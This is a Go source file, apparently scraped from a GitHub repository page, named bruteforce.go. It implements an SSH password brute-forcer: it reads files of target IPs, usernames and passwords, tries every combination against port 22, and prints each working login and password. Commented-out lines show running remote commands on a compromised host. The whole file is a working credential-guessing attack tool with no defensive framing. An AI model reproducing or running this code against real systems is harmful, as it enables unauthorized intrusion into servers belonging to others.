-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathbruteforce.go
executable file
·81 lines (72 loc) · 2.13 KB
/
bruteforce.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package main
import (
"bufio"
"fmt"
"os"
"time"
// "bytes"
"golang.org/x/crypto/ssh"
)
func readLines(path string) ([]string, error) {
file, err := os.Open(path)
if err != nil {
return nil, err
}
defer file.Close()
var lines []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines, scanner.Err()
}
func main() {
ips, err := readLines("ip")
if err != nil {
fmt.Println("error open file")
}
logins, err := readLines("logins")
if err != nil {
fmt.Println("error open file")
}
passwords, err := readLines("passwords")
if err != nil {
fmt.Println("error open file")
}
for m:=0; m<len(ips); m++ {
for i:=0; i<len(logins); i++ {
for j:=0; j<len(passwords); j++ {
clientConfig := &ssh.ClientConfig{
User: logins[i],
Auth: []ssh.AuthMethod{ssh.Password(passwords[j])},
Timeout: time.Duration(time.Millisecond * 300),
}
client, err := ssh.Dial("tcp", ips[m] + ":22", clientConfig)
if err != nil {
fmt.Printf("Failed ip:%s\n", ips[m])
}
if client != nil {
session, err2 := client.NewSession()
if err2 != nil {
fmt.Println("Failed2")
}
if session != nil {
fmt.Println("----------------------------------------------------------")
fmt.Printf("ip: %s login: %s password: %s\n",ips[m], logins[i], passwords[j])
fmt.Println("----------------------------------------------------------")
}
defer session.Close()
} else {
// fmt.Println("Failed3")
}
}
}
}
// for send remote commands
// var b bytes.Buffer
// session.Stdout = &b
// if err := session.Run("ip r"); err != nil {
// panic("Failed to run: " + err.Error())
// }
// fmt.Println(b.String())
}